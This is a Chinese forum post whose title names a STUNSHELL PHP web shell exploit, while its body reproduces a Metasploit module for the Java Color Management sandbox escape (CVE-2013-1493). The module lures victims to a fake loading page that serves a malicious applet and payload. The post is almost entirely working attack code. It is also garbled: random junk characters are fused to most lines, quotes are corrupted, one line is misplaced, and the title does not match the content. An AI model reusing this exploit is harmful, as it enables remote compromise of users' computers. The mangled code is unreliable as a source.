找回密码
 立即注册
查看: 3042|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##
$ d3 ^7 X7 T/ B" I6 @7 w  q- J. b
2 D5 x3 o1 @) U, `2 Y: U# This file is part of the Metasploit Framework and may be subject to
4 u! |& x( Z. h& |+ n8 r# redistribution and commercial restrictions. Please see the Metasploit) g2 n8 J# L/ Z4 E
# web site for more information on licensing and terms of use.5 p! V' v, Q2 S; M7 o+ f" ^( `
# http://metasploit.com/& C9 g) a* n" q/ q3 p
##1 T9 M4 z2 l4 k  c) H9 [
require ‘msf/core’
3 e: s! N& f4 {: @. Xrequire ‘rex’; g  s' l$ n+ p3 c% E4 X
class Metasploit3 < Msf::Exploit::Remote
9 d' E$ F' o& D9 QRank = NormalRanking% _, ~9 A3 r9 Z6 A9 M5 f8 P
include Msf::Exploit::Remote::HttpServer::HTML
5 b, T! F5 _; |* O  winclude Msf::Exploit::EXE$ ]: T# a  L/ o, n& _
include Msf::Exploit::Remote::BrowserAutopwn4 v. g' k. ?& }, E0 {
autopwn_info({ :javascript => false })
0 `1 g2 l# k) idef initialize( info = {} )
6 @, l: ?# C5 xsuper( update_info( info,
3 m( |* R! S) t‘Name’ => ‘Java CMM Remote Code Execution’,
6 I" B. t6 z0 y- G: `0 T& ^  j3 I‘Description’ => %q{6 C3 p8 v/ ]) v5 n- G
This module abuses the Color Management classes from a Java Applet to run% _  a4 b. x  W) ~
arbitrary Java code outside of the sandbox as exploited in the wild in February
- v/ l9 j- T  x, k( F+ z# E; s) I& {! aand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
6 [  a0 v; ^$ Z* s: V# k# yand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP11 [+ b" }& Z2 U- j
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
6 i; Z% B) ~, s$ x% K* Ywarning in order to run the malicious applet.
  l( M; Y7 j( ^8 y},
1 L5 F: ~) W$ K% e! s* b‘License’ => MSF_LICENSE,- H1 _6 M8 a4 o9 M
‘Author’ =>
' U- d9 E# y5 Y'Unknown', # Vulnerability discovery and Exploit0 f, |2 I1 D0 N, m% i4 _, s0 S
'juan vazquez' # Metasploit module (just ported the published exploit)2 `/ l# r4 K( A
],
, O" o/ O$ r* ]  E# \/ Q* P0 U1 p3 }‘References’ =>1 y% O% y" B0 W. I! L/ D: s1 i
[
9 {! J5 P, M0 _9 `8 g! `[ 'CVE', '2013-1493' ],
8 W  g& j( M2 C' i[ 'OSVDB', '90737' ],; l& G( b4 \( l. N' p8 ~# ?
[ 'BID', '58238' ],
5 F* K: y3 X: B, Y( F' t' S[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],8 r9 ?+ e) d% A4 S# B. o2 l
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],, M. z4 V9 |$ M, K0 z" m0 ~
[ 'URL', 'http://pastie.org/pastes/6581034' ]
) X: B% m0 j$ {9 W; x2 J, d],9 L. T. X7 w5 Q, B, Q
‘Platform’ => [ 'win', 'java' ],1 u; G7 L/ }# f4 p" B8 @
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },0 C, h( h# c6 ^8 {! y
‘Targets’ =>
9 K. b/ n1 e6 w3 n[
' s3 t& z( Y& s- r+ L  K( q[ 'Generic (Java Payload)',5 [. e' e* N4 H3 o  H: l- m; T
{! q; }  Q; y% k% O. x
'Platform' => 'java',  `2 f: F2 q, e7 n: q2 U! r) q
'Arch' => ARCH_JAVA! E, @% a" F6 f* U, D6 C
}
8 [2 M( v* M, E5 q# @; c7 f0 h],
1 T% ]8 G# ]9 ?9 S1 y  c0 R( a& r8 G[ 'Windows x86 (Native Payload)',
! S: E2 t/ a. K{+ u* e; R7 n; B/ s" S$ q
'Platform' => 'win',
4 Q' K. j% B% b; E  {'Arch' => ARCH_X86
2 f7 r! A* `' y4 d+ t( R}6 x$ ?. n1 y9 ~  D! D
]" N  u% q& ?- N8 O; t' S
],& J; j/ p* s4 ?+ Q# l# W# k
‘‘DisclosureDate’ => ‘Mar 01 2013′
8 y1 X5 l: A1 G2 P1 S; r% C))
" R! Y% d2 C) G8 xend
; c; M# |- L( E- x8 n# V  hdef setup
4 o- ^" X& L' J* U" Opath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
0 ~; N' I' |3 u3 S. n$ _# P@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
# J) W. l6 i1 H$ y0 Gpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”); w+ Q0 Z# t% F3 B2 ~
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }3 B/ U# M2 c$ H
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)' A; @2 s: v: X9 i! \$ q/ D8 k- D
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
2 e3 P. f6 d& {) U, gpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
2 g- r6 v  m# d+ x# ~@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }* ^0 F5 I# a2 g) E
@init_class_name = rand_text_alpha(“Init”.length)% |4 [0 n4 M4 M$ v; Z3 t. B
@init_class.gsub!(“Init”, @init_class_name)
) |1 X4 u, O& Ssuper
' l! r# b/ n9 X: a- ~( m. |) ?0 s3 a+ send5 y. T) F, D# V) [5 }, O8 V
def on_request_uri(cli, request)+ g8 ^. v4 ~" n8 m- o" E1 S
print_status(“handling request for #{request.uri}”)
6 p6 T. r0 F& Z% ccase request.uri: T# u8 P& Q. v: ?# i+ v
when /\.jar$/i6 j" f3 l8 L# D3 f! |
jar = payload.encoded_jar( o$ _! f! j1 p: N# Z' i
jar.add_file(“#{@init_class_name}.class”, @init_class)
9 h% u0 Y9 B3 b$ O3 N9 tjar.add_file(“Leak.class”, @leak_class)/ e# S1 z2 q4 O5 @& {
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)7 ^4 n* J* b6 M! _  M9 V: K4 t. X
jar.add_file(“MyColorSpace.class”, @color_space_class)
/ i( w$ W4 G4 f/ G8 w- uDefaultTarget’ => 1,9 `2 Y; z: w7 v, u
metasploit_str = rand_text_alpha(“metasploit”.length)
+ c" f( \4 e& X, L" z% o4 ipayload_str = rand_text_alpha(“payload”.length)7 \) J3 e1 t9 }
jar.entries.each { |entry|6 k7 H: l0 w! g1 N
entry.name.gsub!(“metasploit”, metasploit_str)' a5 [' U: P& W: G
entry.name.gsub!(“Payload”, payload_str)
! V+ Y# k; F9 b9 y- r& Yentry.data = entry.data.gsub(“metasploit”, metasploit_str)
6 n/ _, O. z: e" i# Bentry.data = entry.data.gsub(“Payload”, payload_str)9 H4 I5 i: K6 |: d
}1 R  ~* h- V% I* P+ l6 M* |
jar.build_manifest+ B) `6 ~  F1 K# @* s3 q. w0 V
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })5 |+ @+ a* B7 c! Z4 l
when /\/$/9 O- A3 z" {5 t+ F" r
payload = regenerate_payload(cli)
- S$ ^+ h0 \) }. kif not payload- p2 U0 H% D" |5 E3 f. e
print_error(“Failed to generate the payload.”)
9 c. X/ d9 ]7 f  ^4 gsend_not_found(cli)
8 \# T8 y; w, Z6 v: k$ [; \2 T3 Zreturn* g# q+ I* B6 b9 v1 |% I
end4 E' O" ]+ a0 R2 v! c; i4 `
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })3 k2 j% p0 E. _* m1 g/ Y$ L- J
else
7 v6 }0 X+ K% v- r- Fsend_redirect(cli, get_resource() + ‘/’, ”)* ~* b- [2 q/ O/ x1 W& |2 b
end
% B- ?1 g% L# B, ]4 m" pend
; K0 e8 e& R% fdef generate_html
. B" N/ P8 m( R% }+ F4 {1 uhtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|
" D# P4 M: P( E* w3 K+ k3 {html += %Q|<body><center><p>Loading, Please Wait…</p></center>|* U. |! Y4 L6 e* o- v
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|% `% l+ `# h( c
html += %Q|</applet></body></html>|- s% [! R3 e$ E7 h' i
return html4 n8 U* @4 O/ T1 J
end
  G+ e- Z$ e: v' Z. t' ?5 Q9 N; jend, v3 c. w4 T" S5 k4 [2 g8 t
end; a6 I1 x" W* {$ e: v. W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表